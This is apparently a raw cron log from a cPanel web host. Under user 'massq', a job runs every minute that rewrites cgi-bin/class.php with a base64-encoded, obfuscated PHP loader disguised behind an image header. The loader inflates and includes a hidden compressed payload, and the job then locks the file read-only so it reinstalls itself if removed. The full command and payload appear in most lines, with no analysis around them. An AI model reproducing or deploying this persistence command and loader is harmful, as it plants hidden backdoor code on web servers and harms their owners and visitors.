Nov 14 22:08:01 server CROND[9971]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:09:01 server CROND[10887]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:09:01 server CROND[10888]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 22:10:01 server CROND[11983]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:10:01 server CROND[11984]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 22:10:01 server CROND[11985]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 22:10:01 server CROND[11982]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 22:11:01 server CROND[12957]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:12:01 server CROND[13841]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:12:01 server CROND[13842]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 22:13:01 server CROND[14721]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:14:01 server CROND[15872]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:15:01 server CROND[16805]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 22:15:01 server CROND[16806]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:15:01 server CROND[16808]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 14 22:15:01 server CROND[16807]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 22:16:01 server CROND[17798]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:17:01 server CROND[18734]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:18:01 server CROND[19521]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:19:01 server CROND[20113]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:20:01 server CROND[21031]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 22:20:01 server CROND[21032]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 22:20:01 server CROND[21036]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 22:20:01 server CROND[21038]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:20:01 server CROND[21035]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
